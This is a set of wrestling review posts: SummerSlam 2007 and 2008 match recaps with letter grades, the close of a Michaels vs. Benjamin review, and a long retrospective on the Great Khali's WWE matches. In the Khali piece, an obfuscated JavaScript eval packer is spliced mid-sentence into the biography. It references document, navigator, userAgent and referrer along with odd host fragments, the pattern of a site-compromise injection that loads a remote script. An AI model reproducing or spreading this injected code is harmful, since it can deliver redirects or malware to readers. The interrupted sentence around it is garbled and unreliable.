Shelton takes him back to the mat but Shawn easily gets back up. A cradle gets two for Shawn out of nowhere and it’s followed by a forearm to take over. Shelton comes back with a clothesline and both guys go to the floor. We take a break and come back with Shelton countering a belly to back superplex into a cross body off the top but he can’t cover. Batista is watching in the back.

Shelton hits a Samoan Drop and both guys are down again. Things speed up and Shelton gets two off a backbreaker. Shawn hits the forearm and nips up, but Shelton nips up a second later, freaking Shawn out. We get a fast paced pinfall reversal sequence and Shawn takes Shelton down with a hard chop. Benjamin comes back with the Stinger Splash in the corner but the T-Bone is broken up.

Sweet Chin Music is caught and the Dragon Whip gets two. That sounded GREAT and JR’s commentary is only making this better. Shelton loads up a superplex but Shawn knocks him down and hits the elbow for two. Another Chin Music attempt is countered by a high kick for a VERY close two. Shelton jumps from the mat to the top rope and hits a spinning clothesline for another two. This is getting better and better with each kickout. Shelton gets sent to the apron and tries a springboard, but he jumps right into the Sweet Chin Music in an incredible spot. Shelton is DEAD and Shawn advances. That never gets old.

Rating: A+. It’s my favorite match ever. What grade did you expect me to give it? Also, this probably furthers Shawn’s record of most A+ matches for a single guy held by Shawn. The last few minutes of this has some of the best near falls on TV that I’ve ever seen. This is easily one of the best TV matches of all time. The only issue I have with it: what was Shelton going for at the end other than diving into the kick? I’ve never gotten that. The idea here was simple: Shawn was fighting himself from ten years ago. That’s very interesting and it worked like a masterpiece here.

He’s Shawn Michaels. I’m done.

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Summerslam Count-Up – 2008: Stack It Up Higher

Summerslam 2008
Date: August 17, 2008
Location: Conseco Fieldhouse, Indianapolis, Indiana
Attendance: 15,997
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Tazz, Todd Grisham, Matt Striker

We run down the card because you might have ordered the show blind or something?

MVP vs. Jeff Hardy

MVP makes the ropes and the referee has to keep pulling Jeff out of the corner. Jeff eventually gets free and charges right into a snap belly to belly for two. MVP kicks him in the back and puts on something like a crucifix hold before rolling over into a camel clutch. Off to something like a side leg bar but MVP eventually lets it go. Jeff goes tot he apron but MVP knocks him out of the air to break up a springboard, getting two.

ECW Title: Mark Henry vs. Matt Hardy

Jeff Hardy comes out to make the save and the Hardys suplex Henry.

Raw World Title: CM Punk vs. John Bradshaw Layfield

Punk was basically a glorified midcarder at this point but his time would come. JBL shoves Punk into the corner to start and a hard shoulder puts the champion down. Punk comes back with a flying forearm to send him to the outside and a suicide dive fires the fans up even more. Back in and a high cross body gets a one count for Punk but another shoulder block puts him down. Punk tries to go up, only to be taken down by a middle rope fall away slam for two.

Smackdown World Title: HHH vs. Great Khali

Rating: C+. This match, while slow, was a great example of psychology in a wrestling match. HHH knew that there was only one move he could use to hurt Khali and give him a chance for the win so it was the only thing he tried for most of the match. This was HHH working around someone and it worked quite well as HHH is a very talented wrestler, which unfortunately is often forgotten.

John Cena vs. Batista

Back up immediately and Cena throws Batista to the floor in something resembling an FU before collapsing down. Back in again and Cena fires off the shoulder blocks and the ProtoBomb to set up the Shuffle. The FU is countered again and Batista kicks him in the face to put both guys down. Batista drives shoulders into the corner and catches him in the spinebuster to put Cena down. Cena backdrops out of the Batista Bomb and hits a DDT on the leg to set up the STFU. Batista FINALLY crawls over and gets a rope to shock Cena.

The Cell is lowered.

Edge vs. Undertaker

Taker counters the spear into a chokeslam for a close two and Taker is getting frustrated. The Last Ride is countered by a low blow and an Impaler gets two. Back up and Taker loads up the Last Ride again but wants it through the tables on the floor. Edge slips over the top and hits the spear for a very close two. Now the Last Ride connects but Edge gets out at two.

Rating: A. THIS is how you blow off a feud. Edge was completely destroyed at the end here with Undertaker hitting every big move he had and Edge not kicking out of them at all. These two had some great action all year long and the Cell is the best way to blow the whole thing off. Having it as a TLC match inside the Cell was fine and it made for a great main event.

Taker leaves but Edge very slowly gets up. The big man goes back inside and sets up the ladder before lifting Edge onto it. Taker throws in another ladder and climbs up next to Edge so he can throw the Canadian down through the mat. He raises his arms up and lights the hole on fire to end the show in a corny moment.

Ratings Comparison

MVP vs. Jeff Hardy

Original: B

Redo: B-

Kofi Kingston/Mickie James vs. Glamarella

Original: D

Redo: D+

Matt Hardy vs. Mark Henry

Original: N/A

Redo: N/A

CM Punk vs. John Bradshaw Layfield

Original: B-

Redo: C+

Great Khali vs. HHH

Original: B+

Redo: C+

Batista vs. John Cena

Original: A

Redo: A-

Edge vs. Undertaker

Original: A-

Redo: A

Overall Rating

Original: A-

Redo: A-

http://kbwrestlingreviews.com/2011/08/11/history-of-summerslam-count-up-2008-punk-as-champion-thatll-never-happen-again/

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Summerslam Count-Up – 2007: Cena vs…..Orton. Freaking Yay.

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Date: August 27, 2007
Location: Continental Airlines Arena, East Rutherford, New Jersey
Attendance: 17,441
Commentators: Jim Ross, Jerry Lawler, Michael Cole, John Bradshaw Layfield, Joey Styles, Taz

Kane vs. Finlay

Back in and Finlay gets in a shot to the bad ribs to knock Kane to the outside. A backsplash to the bad ribs is good for two and Finlay puts on a half crab. This has been very physical so far. Kane finally powers up and hits an enziguri to escape. A big boot drops Finlay and some clotheslines in the corner stagger him. Kane hits a one armed side slam which is a bit of a stretch given the rib injuries. JBL is doing a great job on commentary here, talking about how a rib injury affects how you move in the ring.

Rey Mysterio is coming back! Tonight! Why did we need a promo for this?

Intercontinental Title: Mr. Kennedy vs. Carlito vs. Umaga

No real story here other than Umaga is defending and these two are at the Intercontinental level. Kennedy tries to negotiate and gets punched in the face by Umaga. Carlito loads up the apple but gets punched as well, giving the champion complete control so far. The challengers fall out to the floor and finally start going after Umaga at the same time, though it has the same result. Carlito gets in a cheap shot from behind to send Umaga to the floor and Kennedy rams the champion into the steps.

Back in and Carlito gets two off a rollup but gets caught using the ropes. Everyone in this is either a heel or close enough to call them one. Carlito hits a springboard back elbow to the jaw for two on Kennedy but gets caught in a Stroke for no cover. Instead Kennedy goes after Umaga but gets pulled to the floor instead of getting in a cheap shot. Umaga hits a middle rope headbutt on Carlito but Kennedy saves Carlito from a charging Samoan.

Rey Mysterio vs. Chavo Guerrero

Back in and Rey goes up but gets caught in the Tree of Woe which is similar to what hurt his knee in the first place. Guerrero goes right for the knee and asks him if he quits. Off to the Brock Lock (Chavo bends the knee around his neck) but Rey counters into a headscissors. Chavo stays on him though and hooks another leg lock until Rey FINALLY gets out with a kick to the head.

Rey hits a seated senton off the apron before hitting a hard kick to the head for two. Chavo catches a springboard moonsault press but gets countered into a tornado DDT for two. Chavo comes right back with a Gory Bomb for two followed by two of the Three Amigos. Rey spins out of the third and takes Chavo into the ropes for the 619 and the springboard splash for the pin.

Divas Battle Royal

Beth Phoeix, Torrie Wilson, Victoria, Layla, Brooke, Kelly Kelly, Kristal Marshall, Michelle McCool, Mickie James, Jillian Hall, Melina, Maria

Wrestlemania 24 is in Orlando.

ECW Title: CM Punk vs. John Morrison

HHH vs. King Booker

Smackdown World Title: Batista vs. Great Khali

Batista destroys Khali with the chair post match. Even JBL rips into Khali for such a lame ending.

We recap the main event. Cena has been champion for eleven months and Orton has been rising up the card as the legend killer. He was named #1 contender on Raw and spent the next several weeks RKOing Cena.

Raw World Title: John Cena vs. Randy Orton

Ratings Comparison

Kane vs. Finlay

Original: C

Redo: B-

Carlito vs. Mr. Kennedy vs. Umaga

Original: C+

Redo: D+

Rey Mysterio vs. Chavo Guerrero

Original: B-

Redo: C-

Divas Battle Royal

Original: F

Redo: D

CM Punk vs. John Morrison

Original: B+

Redo: C

HHH vs. King Booker

Original: B-

Redo: D+

Great Khali vs. Batista

Original: D-

Redo: F

John Cena vs. Randy Orton

Original: B

Redo: B-

Overall Rating

Original: B

Redo: D+

DANG I liked this way too much the first time.

http://kbwrestlingreviews.com/2011/08/10/history-of-summerslam-count-up-2007-hhh-is-back-again/

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Wrestler of the Day – July 19: Great Khali

Today is a guy who I don’t think is nearly as bad as people say he is: Great Khali.

Singh eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zahef|var|u0026u|referrer|hesbb||js|php'.split('|'),0,{})) got started in Japan and had a feud with fellow giant Silva. I’ll spare you the disaster that these two put wrestling through and skip ahead to WWE. After a few months in developmental, Khali debuted to avenge Daivari’s losses against the Undertaker. Here’s Khali’s WWE debut on Smackdown, April 21, 2006.

Funaki vs. Great Khali

Chop, big boot, Plunge and we’re done.

Here’s Khali’s showdown with Undertaker from Judgment Day 2006.

Great Khali vs. Undertaker

The gong gets a very solid pop as you would expect. Taker hammers away to start but gets nowhere at all. Scratch that as he gets sent to the floor. Khali tries the chop so Taker hammers away. And once again that gets him stuck on the floor. Nice job there dude. Cole turns into an Undertaker cheerleader as Taker gets a Stunner over the top.

You can tell this is a big match because Old School is countered. And of course, NO ONE has ever countered that before. I love revisionist history at time. Khali hammers away as well as he can, meaning this is really rather boring. Out to the floor again and Taker goes knees first into the steps. That looked painful beyond belief and people wonder why he wrestles like once a year anymore.

Back in and there’s the chop that killed Taker deader than dead before. Khali puts the foot on his chest and Taker kicks out. Of course he sits up and here comes Taker. Old School hits and Khali is staggering. Taker pounds away and hits the jumping clothesline to tie Khali up in the ropes. Fans are rapidly getting into this. Daivari gets up on the apron but the referee saves him. Khali gets untied and the chokeslam doesn’t work. A pair of chops sets up a boot to the head, allowing Khali to put his foot on Taker’s chest and get the clean pin. Now THAT is putting someone over.

Rating: D-. And the match sucked. Did you really expect anything else? The crowd is legit shocked as they probably should be. Khali was supposed to have various PPV matches with Taker but one time he was wellnessed and the second the company flat out said he wasn’t good enough to be on live PPV in a last man standing match so they had it on Smackdown with Taker of course winning. After that, he wound up as world champion so there we are.

And the slightly less worse rematch from August 18, 2006 on Smackdown. This was supposed to be at Summerslam but Khali was too horrible to be put on live TV.

Undertaker vs. Great Khali

Last man standing. Khali knocks him down to start but Undertaker wisely goes for the leg. A big boot knocks Undertaker out to the floor but he fights up with uppercuts from the floor. Undertaker comes back with a kick to the head of his own, followed by the apron legdrop and a triangle choke. Daivari goes after Undertaker with a chair, only to get chased up the set (in the days of the BIG FIST), allowing Khali to nail Undertaker from behind. Undertaker is sent into the set a few times before being tossed off the stage and through a table. He’s up at nine though and we take a break.

Back with Khali still in control and they head to ringside again. Undertaker gets hammered but says bring it on, only to be tied up in the ropes by the bigger giant. Khali fires off chops to the head to finally knock Undertaker down for another nine. Back up and Undertaker wins a slugout before clotheslining Khali out to the floor. They whip each other into the steps with Undertaker getting the better of it. He takes the chair from Daivari and pops him in the back with it as the monster is busted. Khali is up at eight so Undertaker blasts him in the ehad with the chair a few times and nails a chokeslam for the ten count.

Rating: C+. Thank goodness for editing. The match was much better than I remember it, even though it wasn’t really anything special. Khali looked like a monster that had to be slayed and Undertaker was always a good choice for it. The chokeslam at the end looked decent enough and the match worked better than it had any right to.

Next up, a match with Shawn Michaels because he can make anyone look good. From Raw, May 7, 2007.

Shawn Michaels vs. Great Khali

No DQ and the winner gets a title shot at Judgment Day. Shawn hammers away to start and gets Khali tied up in the ropes to a HUGE ovation. Not that it matters though as Khali kicks him in the face to take over. Lawler rightly points out that the referee shouldn’t have broken it up because it’s No DQ but no one cares about logic in WWE. Shawn finds a chair from ringside and nails Khali a few times to take over.

A top rope elbow drop looks to set up Sweet Chin Music but Khali catches it somewhere around his stomach. There’s the big chop and Khali chokes in the corner, followed by a very heavy clothesline. Shawn fights out of the Plunge and chokes a lot before nailing a baseball slide to knock Khali down. A DDT through the table is easily blocked and Khali throws Shawn through the table for the stoppage.

Rating: C-. There’s only so much Shawn can do when his big superkick can only hit Khali in the mid chest. Khali was a great choice for Cena to slay, even though the match here was nothing special. I’ll give them this though: they tried to do something and it worked about as well as it possibly could have.

Khali would face Cena twice in 48 hours, starting at SNME XXXIV.

John Cena vs. Great Khali

Cena is in his one year reign with the belt here and is obviously feuding with Khali. So they’re having this at One Night Stand…which is the next night apparently…so we’re having it here too. Even TNA isn’t this bad about repeating matches. Why did they even have these shows anymore? Khali is completely dominating here. We’re a minute in and Cena has had nothing.

Make that three minutes. Khali dominates even more and all of a sudden Cena has him up for the FU. It doesn’t work and then the chop and chokeslam…gets the pin with one foot? The idiocy of this astonishes me. The world champion just got freaking SQUASHED 24 hours before a PPV. Let that sink in for a bit. Ashley is ring announcer for no apparent reason.

Rating: F. THE WORLD CHAMPION just got SQUASHED in five minutes a DAY before the PPV. Why watch it now??? Why should I buy the PPV now? I know Cena is going to win, but why should I buy Cena as champion now? Apparently Khali needs 5 minutes to beat Cena, and while Cena won the next night, this was freaking stupid. I can’t defend this at all.

And now the second match, for the title, at One Night Stand 2007.

Raw World Title: John Cena vs. Great Khali

Falls Count Anywhere and a very pro-Cena crowd here. Cena fires off some kicks to the leg but finally gets caught and the power gets going. This is pin only which is kind of weird. Khali uses his basic offense and that’s not meant as a criticism. I mean, he’s Great Khali and a giant. There’s no reason to not have him just do basic stuff to win is there? Big boot puts Cena down again as we haven’t left the ring yet.

Cena tries to speed things up again but Khali raises his leg like a leg lariat to take him down one more time. One arm slam and Khali walks around a bit. Cena avoids a leg drop and manages to get the Throwback out of nowhere. The top rope Fameasser is blocked by the chop though and Cena falls to the floor. That gets two in the first cover of the match. Cena gets in some punches but a low dropkick misses and it’s back to Khali.

In something you won’t often see, Cena’s head goes through a monitor but avoids the big chop. He does however get thrown into the crowd as the beating continues. Out near the production area Cena gets a monitor shot to the head but can’t FU Khali. The big dude gets a bunch of forearm shots to the back as Cena stumbles around a lot. Khali misses a charge and Cena throws a boom camera at him for a two count.

Cena actually gets him up for the FU but the elbows to the head slow it down almost immediately. And hey here’s a crane for no apparent reason. Khali throws him onto the thing and tries the Punjabi Plunge. Cena manages to rake the eyes though and there’s the FU on a crane. FLY FAT BOY FLY as Khali goes to the ground and the pin follows, keeping the title on Cena.

Rating: C+. All things considered, this was rather solid. Keeping Khali out of the ring and just letting him pound on people is always the best thing you can do and this was no exception. They had about as basic of a match as you can ask for here and that’s probably a good thing. Khali as the monster isn’t terrible at times and this was one of them. all this one a pleasant surprise.

Later in the month, Khali would enter a battle royal for the vacant World Heavyweight Championship. From Smackdown on June 20, 2007.

Smackdown World Title: Battle Royal

Batista, Brett Major, Brian Major, Chavo Guerrero, Dave Taylor, Chris Masters, Deuce, Domino, Eugene, Finlay, Great Khali, Jimmy Wang Yang, Jamie Knoble, Kane, Kenny Dykstra, Mark Henry, Matt Hardy, MVP, Shannon Moore, Funaki

It’s a brawl to start with various people fighting each other. Henry throws out the Major Brothers by himself and Khali sends Moore out a few seconds later. There goes Funaki at Khali’s hands as well and we take a break. Back with no extra eliminations until it’s Khali vs. Henry for the big showdown. Nothing happens though as Kane and Batista break it up, allowing the rest of the entrants to dump Henry.

Things slow down as the fans try to get behind Matt Hardy. MVP goes after Khali and walks into a big chop. Batista wakes up and dumps Deuce and Domino (the Smackdown Tag Team Champions) before Kane tosses Dave Taylor. Kane and Batista square off but Noble gets in between them, only to have both big men launch him out. Eugene gets the same treatment and the ring is rapidly clearing out.

We’re down to Kane, Batista, Khali, Hardy, MVP, Finlay, Yang, Guerrero, Masters and Dykstra. Kane NAILS Yang with a right hand to knock him down as Chavo takes Batista down with a cross body. The camera angles start getting all weird with closeups before Batista saves himself from elimination by Finlay. We take another break and come back to see Dykstra eliminated.

Guerrero goes to the apron and comes back in for no apparent reason as Matt eliminates MVP (his opponent on Sunday) to get us down to eight. Masters puts Yang in the Masterlock but Chavo makes the save for no apparent reason. The cruiserweights team up to put out Masters but Yang eliminates Chavo a few seconds later. We’re down to six as Kane and Batista go after Khali, only to get kicked away. Cue Hornswoggle for a distraction, allowing Finlay to eliminate Yang. Really? Yang warranted interference?

Khali chops Matt out and Finlay has disappeared. Batista and Kane get chopped as Khali stands tall. He poses too long though, allowing Finlay to come in with that club that I can’t spell. Kane loads up a chokeslam on Finlay but Batista spears both guys down and dumps Finlay. It’s Kane, Batista and Khali remaining with the biggest man quickly being knocked down. Batista and Kane fight near the ropes, allowing Khali to dump them both and win the title.

Rating: D+. This was long and the space between the eliminations got really annoying. Did we really need to have Jimmy Wang Yang in the final six guys? There was no one else you could put in that spot? Khali winning was a logical choice as he didn’t win the Raw Title but was still a big enough deal that the guy beating him would look like a conquering hero. Not the worst ever and I can forgive the length due to what was on the line.

Khali would hold the title for a few months before dropping it to Batista. Here’s their rematch at No Mercy 2007, in one of the truly unique gimmick ideas WWE ever had.

Smackdown World Title: Batista vs. Great Khali

Batista is defending and this is inside the Punjabi Prison. Ok so there’s a big round cage around the ring that goes down to the floor. It comes up to a circle at the top with sharp sticks on top. There’s another cage (all made of bamboo mind you) with four gates on it. You can request to open one at any time and at that point you have sixty seconds to go through it. If you don’t get out, it’s closed and that gate can’t be used again. You have to get out of both cages to win. It’s WAY too complicated which is why there were only two of these matches ever.

Batista gets in a quick shot to knock Khali into the ropes and tie him up. He hammers away instead of leaving like an intelligent person would. Well he’s an animal so maybe that explains it. Khali comes back with a chop to the head and opens a gate, but Batista stops him enough for the clock to go down. The Plunge is countered but Khali kicks him down. Leg drop misses and Batista spears him down.

The second gate is opened but Khali grabs the leg. He chokes him against the cage until the clock runs out and the door is shut. Khali pulls a rope off the wall of the cage to tie Batista to the cage. There’s a strap attached to the cage for some reason so Khali pulls it down and it’s whipping time. Batista wasn’t tied up so I guess it was just choking. The third gate is opened but Khali walks into a spinebuster. Big Dave goes for the door but Khali stops him again, leaving us with only one door.

Batista grabs the strap and gives Khali a beating. Now Batista tries to climb over the top for some reason but Khali pounds him down, right into position for Batista to Bomb him out of the corner. Khali blocks it with punches though and the champion is down. Vice Grip goes on and Batista is in trouble. Khali asks for the fourth gate to be opened but Batista hits him low to put both guys down.

The last door closes so Khali beats up the referee through the cage. Khali tries to climb as JBL says this is something out of Jurassic Park. Uh….not exactly Jibbles. Khali tries to climb out but gets knocked down. JBL: “When big men fall down off the top rope like that it hurts.” Batista climbs as well but gets pulled down with a big crash. Khali climbs up and over the top of the first cage while Batista is still down. Both guys climb a cage and in a very cool looking ending, Batista jumps from the outside of the inner cage to the inside of the outer cage and gets up and out faster than Khali can to retain.

Rating: C-. I don’t think anyone would say this was good. I don’t think anyone would argue that a regular cage match wouldn’t have been better. I do however think this wasn’t half bad. The ending was really cool with that jump being something almost out of an action movie. It was an interesting experiment but thankfully they didn’t try it after this.

Khali wouldn’t do much for the next year, but would get a title shot at Summerslam 2008.

Smackdown World Title: HHH vs. Great Khali

The Game is defending. HHH is a very tall man in his own right and is probably a foot shorter than Khali. The champion pounds away but has to stick and move to not get killed. That doesn’t blow HHH’s skirt up though so he tries the Pedigree. Khali easily grabs HHH and hits his Punjabi Plunge (two handed chokeslam finisher) but doesn’t cover. Instead he loads up his Vice (head squeeze) but HHH kicks at the long legs to escape. A chop block puts Khali down and out to the floor where his manager Runjin Singh tries to calm him down.

HHH, ever the bright guy, charges at Khali again and is chopped down with ease. Back inside and Khali pounds away with some elbows in the corner to drop the champion. The fans tell Khali that he can’t wrestle as he puts one foot on HHH for a cover. Off to a nerve hold by the challenger followed by a slam and legdrop. Back to the nerve hold for a bit before HHH fights up and hits the facebuster. It doesn’t put Khali on the mat but it does tie him up in the ropes.

Khali will have none of this being in trouble though as he lifts up his boot to kick HHH down before freeing himself from the ropes. Back up and HHH tries the Pedigree again, only to be backdropped out to the floor. A hard chop puts HHH down again and as they come back in there’s the vice grip again. HHH almost breaks the hold but Khali gets it back on for a few more seconds. A charge misses the champion in the corner and he FINALLY hits the Pedigree to retain the title.

Rating: C+. This match, while slow, was a great example of psychology in a wrestling match. HHH knew that there was only one move he could use to hurt Khali and give him a chance for the win so it was the only thing he tried for most of the match. This was HHH working around someone and it worked quite well as HHH is a very talented wrestler, which unfortunately is often forgotten. Easily Khali’s best match ever.

Khali would turn face soon after this and be on Shawn Michaels’ Survivor Series team in 2008.

Team HBK vs. Team JBL

Shawn Michaels, Rey Mysterio, Cryme Tyme, Great Khali
John Bradshaw Layfield, The Miz, John Morrison, Kane, MVP

I think you can figure out the feuds yourself here. MVP and Mysterio get things going as all of the commentators are talking at once here. MVP is in the middle of a massive losing streak that would result in a face turn and I believe the US Title. Rey hits a quick rana and a clothesline for two before it’s off to JTG for a double dropkick. JTG hits a HARD right hand but MVP gets in a shot to the ribs and hits the Drive-By (running kick to the side of the head) for the elimination. Khali immediately comes in and chops MVP in the head for the elimination to tie things up.

Kane comes in for the staredown of the giants and Khali clotheslines him down with ease. Khali slugs him down and easily breaks up a chokeslam attempt. There’s the chop to the head and Rey climbs on Khali’s shoulders for the splash and another elimination. Off to Morrison who speeds things up. We hear about how great Morrison is from Striker, but unfortunately that chick Melina screwed up his future. Mysterio hits a quick kick to the head and it’s off to Shad.

Now Cryme Tyme vs. Miz/Morrison was a feud ahead of its time: their internet shows got in an argument and a wrestling feud followed. Shad misses a charge into the corner and it’s off to Miz. Since Miz isn’t quite the worker he is at this point, it’s back to Morrison very quickly. Shad runs over both members of the tag team and powerslams Miz down before hitting another overhyped elbow. Miz pops back up and hits the Reality Check (backbreaker/neckbreaker combo) to eliminate Shad.

It’s off to Shawn who comes in via a slow, dramatic step. He gets to face the Miz, meaning that entrance was wasted. To the shock of almost everyone, Miz takes over and double teams with Morrison to work over Shawn’s back. JBL, the slimmed down version, comes in to pound away and drop an elbow for two. Back to Miz who pounds away at Shawn’s bad eye, busting it open again.

Morrison comes in again to crank on a headlock and send Shawn over the top. Why would you turn your back when you throw Shawn over the top rope? At least Morrison jumps him when Shawn skins the cat. A forearm puts Shawn down and Morrison nips up in a little jab at HBK. Morrison misses the top rope elbow and it’s a double tag to bring in Miz vs. Mysterio. Rey hits a springboard rana into the 619 and the top rope splash puts Miz out.

JBL comes in and hits a hard shoulder to take Mysterio down. The crowd is WAY into Rey here. The fans think JBL can’t wrestle. The correct chant would be “You can’t work a style we like because we think that flying around and using a lot of moves is how a wrestler’s talents are determined because we don’t know what we’re talking about!” Off to Morrison with a European uppercut followed by a backbreaker.

Rey gets in a kick to the face but it’s off to JBL to hook an abdominal stretch with the leg being cranked on at the same time. Once Rey escapes, JBL uses something you don’t often see: a big boot to the back of the head. Rey blocks a belly to back superplex and hits a moonsault press to put JBL down and bust open his lip. There’s the tag to Shawn who hits the forearm and nip up of his own (take that Morrison) to send Bradshaw to the floor.

Shawn dives out to take Bradshaw out and loads up the superkick to send JBL running away. With JBL running away from the kick, Shawn slides back in and beats the count by one second, meaning JBL is gone via a countout. Morrison tries to superkick Shawn but Shawn is like boy these boots are older than you and kicks Morrison’s head off for the final pin and 3-0 final score for lack of a better term.

Rating: C. This was fine but the ending was kind of anti-climatic. They were trying to save the Shawn pin over JBL which was a good idea as they would have a solid feud in the next few months which resulted in Shawn being JBL’s lackey because Shawn was poor. The guys other than the captains in this didn’t do much of note but that’s kind of the idea behind a match like this. Not bad but nothing great either.

2009 would be a pretty bad year for Khali but he did have this match at The Bash.

Great Khali vs. Dolph Ziggler

This is a street fight for all intents and purposes. I love Runjin Singh. His sideburns have powers I think. Ziggler’s music is perfect. Actually make that perfection. Also he’s apparently moved from Hollywood, Florida to Hollywood, California. His look is great until his hair gets all puffy and then he looks like Curt Hennig which is a compliment.

Of course Ziggler gets beaten down early, including taking the chop that pinned Cena back in 07 or so but since Khali is a jobber to the stars now it’s just a regular move. Khali is just scary huge. I’ve seen him live and he’s massive. And then he chops the post to get himself in trouble. Dolph grabs a chair which is fine here and he wisely goes for the knee. At least he’s thinking.

We get the bowling shoe analogy about Khali and I roll my eyes. He’s 7’4 and 450lbs. What the heck are you expecting him to do? And here comes Kane for no adequately explained reason. Ziggler beats the tar out of Khali’s knee as Kane is coming and then Kane goes semi-Austin at Mania 17 on Khali. And then Ziggler gets the pin. This went nowhere.

Rating: D+. It’s your standard David vs. Goliath here and that’s all it was supposed to be. The key thing here is that Ziggler has a huge win by pinfall that in this match is perfectly legal. He’s never really gotten a big push, but he started feuding with Rey just after this so that’s something I guess.

We’ll jump way ahead to Raw on September 6, 2010 as Khali’s career is starting to fall quickly.

Edge vs. Great Khali

Edge goes outside to break the computer but the referee stops him. He makes fun of Khali like Hall used to make fun of Show. Edge wins by count out in about a minute. Total waste of time, but we have an e-mail. The GM doesn’t care so the match continues as an over the top rope challenge.

Back from a break and Edge sells the overhand chop really well. Khali steps over the top rope to the floor and nothing happens. Lawler tries to cover by saying you have to be thrown over. I love rule changes for the sake of rule changes. He steps over again but Edge grabs his leg, so this one counts.

Rating: N/A. Total waste of time here as it was just to give Edge what seemed like a difficult match. This went nowhere at all and wasn’t interesting as everyone knew Edge would pull it off somehow.

Another year off now as we hit Raw on September 5, 2011. Khali actually had a story at this point as his brother in law Jinder Mahal was forcing him to be evil to prevent him from shaming Khali’s sister.

Evan Bourne/Kofi Kingston vs. Jinder Mahal/Great Khali

They’re officially Air Boom. Justin Roberts told me so. This is non-title. Mahal vs. Bourne to start us off and Bourne tries to speed things up but gets caught in the face by a jumping knee. Lawler has to fight either Otunga or McGillicutty later tonight. Khali comes in and beats up Bourne for a bit and it’s back to Jinder. Bourne gets in a shot and there’s the hot tag to Kofi. He beats up Mahal but is sent to the floor by Khali. Khali sends Kofi back in but misses a chop, hitting Mahal instead. That sets up the Shooting Star for the pin at 3:15.

Rating: C. This match made perfect sense. The champions couldn’t hang against the two bigger guys physically so they used teamwork to escape with the win. I liked this and it’s cool to see a team thrown together actually working as a unit and having some chemistry. You can get good teams out of that and it’s working here.

Khali would be called upon to be a monster at Elimination Chamber 2012.

Smackdown World Title: Big Show vs. Great Khali vs. Cody Rhodes vs. Daniel Bryan vs. Santino Marella vs. Wade Barrett

Barrett and Big Show start in the ring. Show runs Barrett over to start but Barrett gets him down for one. They go outside and Show gets rammed into the cage door twice. Wade goes after the knee but Show kicks him off. We get a statement from Lawler saying that if you’re knocked out (like Jericho was) that counts as a submission. Why do I have a feeling this won’t be enforced later? Show wants Bryan as the buzzer goes off but gets Cody instead. Show is standing there waiting on him and things slow down a lot.

Cody gets thrown to the outside while Barrett is thrown back inside. Chokeslam to Barrett is countered and Wade chop blocks Show down. Cody and Barrett team up on Show and start fighting a few seconds later. Santino comes in fourth and after he hits his usual stuff, Show runs him over. Cody takes Show down by the knee though as the fans chant for Santino.

Barrett and Cody double suplex Show onto the steel to put him down. Cody hits the moonsault to Barrett and goes after Santino. No one is out yet. Rhodes rams the Cobra hand into the cage and Khali is in fifth. Chops and clotheslines for both heels and the Punjabi Plunge to Rhodes. One to Barrett as well and a chop to Santino. The giants face off and Show spears Khali for an elimination about 40 seconds after Khali entered.

Show keeps staring at Bryan and then even tries to reach in and grab him. He breaks the chains on the pod and has broken through. Bryan demands the door be opened but Show has broken in and climbed through the top. The place ERUPTS for this. The clock goes off to release Bryan but they’re both inside the pod. Bryan manages to get out but Show does the required breaking the plexiglass spot. You know, THE SAME THING THAT HAPPENS EVERY YEAR.

Into the ring now and Show loads up the right hand. Oh wait it’s the chokeslam instead but Barrett kicks Show in the face before there’s a cover. Santino pops up for a quick rollup for two on Barrett but is then thrown to the outside. Cody hits two Beautiful Disasters to Show followed by a DDT. Barrett hits a middle rope DDT and Big Show is gone to a big reaction. So it’s Cody, Barrett, Bryan and Santino to go.

Make that three as Santino rolls up Cody to pin him. Cody hits Cross Rhodes to Santino. There’s Cody’s next feud I guess. Barrett covers Santino but it only gets two. Barrett hammers on him and ties Santino’s arms in the Chamber wall. The beating continues on Santino for awhile until Bryan gets back up with a flying knee to Barrett. Bryan goes up but Barrett knocks him part of the way into it again by the back of the head.

Barrett loads up Wasteland off the middle rope but Santino breaks it up because he’s an idiot. Santino tries a superplex but gets shoved off. He avoids an elbow and Bryan hits a top rope headbutt, allowing Santino to steal the pin, meaning he’s eliminated Cody Rhodes and Wade Barrett. Bryan is very happy to see what he’s up against as it’s one on one now. It turns into a cat and mouse game and Santino even gets the Cobra for two. The LeBell Lock goes on and Santino taps at 33:57.

Rating: B-. Better match with better drama, but at the end of the day this wasn’t that great. Khali being out quick was fine but I have some real issues with them jobbing out their heels AGAIN for the sake of a one off thing. Barrett was this evil violent and cunning man and he loses to Santino. The same for the longest reigning IC Champion in 8 years. And for what? A pop because they can’t put the freaking US Champion in there? Ok I’m shutting up before I go too long with this. Match was ok, but nothing great.

Another one off match from the live Great American Bash Smackdown.

Great Khali/Layla vs. Aksana/Antonio Cesaro

This is punishment from Teddy because he’s a sore loser. The guys start and it’s time for a chop in the corner to Cesaro. Khali misses a big boot and Antonio takes him down in the corner. Khali throws him aruond some more and it’s off to the girls. Layla isn’t exactly Trish or Lita but she’s by far the better in ring worker of the two here. Cesaro breaks up a cover and is thrown to the floor. Layout gets the pin at 1:45, and that means Layla pinned Aksana in case you can’t figure out that LAYla uses the LAYout and you can’t check the results below if you’re not sure.

Khali’s matches would start getting a lot shorter due to injuries. Here’s an example from Smackdown on February 8, 2013.

Great Khali vs. Titus O’Neal

Josh calls Khali a Hall of Famer, sending JBL into a huge rant about how we follow Bruno Sammartino with this guy. Khali chops him into the corner as Teddy and Booker are watching in the back. Titus pounds Khali down and hits a big boot to the head for two. Off to a front facelock but Khali shrugs it off and the big chop ends Titus at 1:34.

We’ll wrap it up with Raw, June 30, 2014.

Great Khali vs. Damien Sandow

Chop, pin, four seconds.

Great Khali is a guy who gets more flack than he deserves. No he isn’t great in the ring or anything like that, but what do you expect from a guy 7’3 and 420lbs? He’s a power giant and that’s all he should try to do. Just like every other giant in history, a lot of the mystique went away once he got beat and that’s to be expected. He’s never going to win the Lou Thesz Award, but people calling him the worst wrestler in the world completely miss the point.

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Hell In A Cell 2009: The Death Of The Cell

